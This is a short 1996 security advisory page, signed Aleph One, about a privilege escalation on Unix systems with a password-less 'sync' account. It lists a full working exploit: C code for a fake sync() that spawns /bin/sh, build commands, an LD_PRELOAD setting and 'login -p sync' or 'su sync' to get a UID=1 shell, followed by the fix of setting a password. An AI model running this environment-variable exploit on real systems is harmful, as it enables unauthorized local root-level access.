[ Search ] [ What's New? ] [ About ]
[ Bugs ] [ Misc ] [ Mailing Lists ] [ Newgroups ] [ NewsWire ] [ Papers ] [ People ]
[ Pictures ] [ Publications ] [ Responce Teams ] [ Tools ] [ Upcoming Events ] [ Web Sites ]

sync(8)
Systems Affected: Any system with a password-less "sync" account.
Problem: Basicly, since "su" passes the full environment, and since "login" can be told to do so with the "-p" option, you can play games with the environment variables LD_LIBRARY_PATH, LD_PRELOAD, IFS, and so on. For example, to get a UID=1 shell on amy system with a password-less "sync" account:

	% cat > sync.c
	sync()
	{
		execl("/bin/sh", "sh", 0);
	}
	^D
	% cc -O -R -pic -c sync.c
	% ld -assert pure-text sync.o
	% mv a.out buglib.so.1.1
	% setenv LD_PRELOAD $cwd/buglib.so.1.1

Then execute:

	% /bin/login -p sync

or equivalently:

	% /usr/bin/su sync

Poof! You now have a UID=1 shell. First we set up a library with a fake sync() call. The LD_PRELOAD variable is an undocumented on that causes any libraries listed to be loaded *before* anything else. (You could do the same with LD_LIBRARY_PATH, but you would have to provide a while C library - this is easier.)

Solution: Give "sync" a password!

Aleph One / aleph1@underground.org
Copyright © 1996 Computer Underground Society. All rights reserved.